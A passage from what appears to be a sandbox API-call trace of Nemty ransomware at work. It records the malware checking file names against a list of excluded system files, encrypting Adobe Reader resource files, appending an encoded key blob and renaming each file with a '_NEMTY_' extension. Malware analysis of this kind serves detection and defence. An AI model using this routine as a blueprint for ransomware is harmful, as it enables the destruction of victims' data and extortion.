dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340218 [0215.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340048 [0215.691] Sleep (dwMilliseconds=0x5) [0215.699] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34344770, dwHighDateTime=0x1d561e8)) [0215.699] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34344770, dwHighDateTime=0x1d561e8)) [0215.699] GetLastError () returned 0x0 [0215.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.699] GetLastError () returned 0x0 [0215.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.699] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.699] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.699] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0215.700] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="2nZU4wGEeYlmAXsUw5LlJqLld6QlrEwsc+kJnc1Ofy7e0EpGt7P14HNCJ179P8Rk\r\nKyP1oIDeMwUiOHIKmVtBmkqg6uMiLYlfCSk+vLKtx6BuLImdkWGpLvN3i08LZxpE\r\nummhWTuRJvhd6TFzoAvmIHHmYH5vIpFgkTb3u6h3YlBACAX4P2Ay4musprrbKZZE\r\nkiWEAYv0VbGvbje2JOqCGEmAA8+ZFq9aZ4l0Tr6hGrBKL/G8jaY/cOv4Ft7/xkuk\r\nkH8yPX3n+RsvBxS4vdCYW5AYUZCLbflE8TYbpEoNqBReVkJ6B8QGQUlYnKWrR/rr\r\nUS7pLEynmQXzBGH3hQpPBA==\r\n", pcchString=0x653e5dc) returned 1 [0215.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0215.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.700] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi_fi_preeuro.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.700] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28026) returned 1 [0215.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6d70) returned 0x6352c48 [0215.700] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.700] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6d70, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6d70, lpOverlapped=0x0) returned 1 [0215.704] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.704] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6d70, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6d70, lpOverlapped=0x0) returned 1 [0215.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.704] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28026, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d7a [0215.704] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.704] CloseHandle (hObject=0x2e8) returned 1 [0215.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340310 [0215.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340408 [0215.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x166) returned 0x63491c8 [0215.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340408 | out: hHeap=0x4f90000) returned 1 [0215.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.704] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi_fi_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI_PREEURO.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi_fi_preeuro.txt._nemty_kgobjgd_")) returned 1 [0215.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63491c8 | out: hHeap=0x4f90000) returned 1 [0215.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340310 | out: hHeap=0x4f90000) returned 1 [0215.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0215.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0215.705] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6f48, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.fr_CA.txt", cAlternateFileName="DI603C~1.TXT")) returned 1 [0215.705] lstrcmpiW (lpString1="DisplayLanguageNames.fr_CA.txt", lpString2=".") returned 1 [0215.705] lstrcmpiW (lpString1="DisplayLanguageNames.fr_CA.txt", lpString2="..") returned 1 [0215.705] lstrcmpiW (lpString1="DisplayLanguageNames.fr_CA.txt", lpString2="...") returned 1 [0215.705] lstrcmpiW (lpString1="DisplayLanguageNames.fr_CA.txt", lpString2="windows") returned -1 [0215.705] lstrcmpiW (lpString1="DisplayLanguageNames.fr_CA.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.706] lstrcmpiW (lpString1="DisplayLanguageNames.fr_CA.txt", lpString2="rsa") returned -1 [0215.706] lstrcmpiW (lpString1="DisplayLanguageNames.fr_CA.txt", lpString2="NTDETECT.COM") returned -1 [0215.706] lstrcmpiW (lpString1="DisplayLanguageNames.fr_CA.txt", lpString2="ntldr") returned -1 [0215.706] lstrcmpiW (lpString1="DisplayLanguageNames.fr_CA.txt", lpString2="MSDOS.SYS") returned -1 [0215.706] lstrcmpiW (lpString1="DisplayLanguageNames.fr_CA.txt", lpString2="IO.SYS") returned -1 [0215.706] lstrcmpiW (lpString1="DisplayLanguageNames.fr_CA.txt", lpString2="boot.ini") returned 1 [0215.706] lstrcmpiW (lpString1="DisplayLanguageNames.fr_CA.txt", lpString2="boot.ini") returned 1 [0215.706] lstrcmpiW (lpString1="DisplayLanguageNames.fr_CA.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.706] lstrcmpiW (lpString1="DisplayLanguageNames.fr_CA.txt", lpString2="ntuser.dat") returned -1 [0215.706] lstrcmpiW (lpString1="DisplayLanguageNames.fr_CA.txt", lpString2="desktop.ini") returned 1 [0215.706] lstrcmpiW (lpString1="DisplayLanguageNames.fr_CA.txt", lpString2="CONFIG.SYS") returned 1 [0215.706] lstrcmpiW (lpString1="DisplayLanguageNames.fr_CA.txt", lpString2="RECYCLER") returned -1 [0215.706] lstrcmpiW (lpString1="DisplayLanguageNames.fr_CA.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.706] lstrcmpiW (lpString1="DisplayLanguageNames.fr_CA.txt", lpString2="bootmgr") returned 1 [0215.706] lstrcmpiW (lpString1="DisplayLanguageNames.fr_CA.txt", lpString2="programdata") returned -1 [0215.706] lstrcmpiW (lpString1="DisplayLanguageNames.fr_CA.txt", lpString2="appdata") returned 1 [0215.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.706] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fr_CA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.706] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fr_CA.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.fr_CA.txt", lpUsedDefaultChar=0x0) returned 30 [0215.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.706] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fr_CA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.706] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fr_CA.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.fr_CA.txt", lpUsedDefaultChar=0x0) returned 30 [0215.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.706] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fr_CA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.706] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fr_CA.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.fr_CA.txt", lpUsedDefaultChar=0x0) returned 30 [0215.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.706] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fr_CA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.706] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fr_CA.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.fr_CA.txt", lpUsedDefaultChar=0x0) returned 30 [0215.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.707] Sleep (dwMilliseconds=0x5) [0215.714] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3436a8d0, dwHighDateTime=0x1d561e8)) [0215.715] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3436a8d0, dwHighDateTime=0x1d561e8)) [0215.715] GetLastError () returned 0x0 [0215.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.715] GetLastError () returned 0x0 [0215.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.715] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.715] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.715] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0215.715] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="xIRwg3gjJwo/MKXB2hY9AJ5oAYTOYTfWLEVa28iR6mQtDpqhAACkK2+Wh1BMHg4D\r\nnOwAldVNYezKFeeDZqg6zL7N7RZy/bmA9zhDyrnJm8DtpMxnkxoEaWhE2O9S73ko\r\nuYEKbPZnhq4xtdnvGBFOhr17I5b+bETgT35A+L6pnDXjG/vg2bRLwXp+fxPrlW00\r\nDUNLPJcxPgI+D8YOHYrdN5dDuE5Gh6mInsB7LJ4MD4kLMamkUzYqYNIvSsbjUXog\r\nGsERFNHIQHNYpdocxdRVVtoLIiaHLbQoW5gS1IScnlg9ERfl7XJACvfEGOTs8rUf\r\n4axAdTMHE+yDbR5eyWiOPQ==\r\n", pcchString=0x653e5dc) returned 1 [0215.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0215.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.715] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_CA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_ca.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.716] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28488) returned 1 [0215.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6f40) returned 0x6352c48 [0215.716] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.716] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6f40, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6f40, lpOverlapped=0x0) returned 1 [0215.720] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.720] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6f40, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6f40, lpOverlapped=0x0) returned 1 [0215.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.720] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28488, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6f48 [0215.720] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.720] CloseHandle (hObject=0x2e8) returned 1 [0215.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.720] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.720] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.720] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_CA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_ca.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_CA.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_ca.txt._nemty_kgobjgd_")) returned 1 [0215.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.721] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6f48, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.fr_FR.txt", cAlternateFileName="DIC6EF~1.TXT")) returned 1 [0215.721] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR.txt", lpString2=".") returned 1 [0215.721] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR.txt", lpString2="..") returned 1 [0215.721] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR.txt", lpString2="...") returned 1 [0215.721] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR.txt", lpString2="windows") returned -1 [0215.721] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.721] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR.txt", lpString2="rsa") returned -1 [0215.721] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR.txt", lpString2="NTDETECT.COM") returned -1 [0215.721] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR.txt", lpString2="ntldr") returned -1 [0215.722] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR.txt", lpString2="MSDOS.SYS") returned -1 [0215.722] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR.txt", lpString2="IO.SYS") returned -1 [0215.722] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR.txt", lpString2="boot.ini") returned 1 [0215.722] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR.txt", lpString2="boot.ini") returned 1 [0215.722] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.722] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR.txt", lpString2="ntuser.dat") returned -1 [0215.722] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR.txt", lpString2="desktop.ini") returned 1 [0215.722] lstrcmpiW (lpString1="DisplayLanguageNames.fr_FR.txt", lpString2="CONFIG.SYS") returned 1 [0215.722] lstrcmpiW 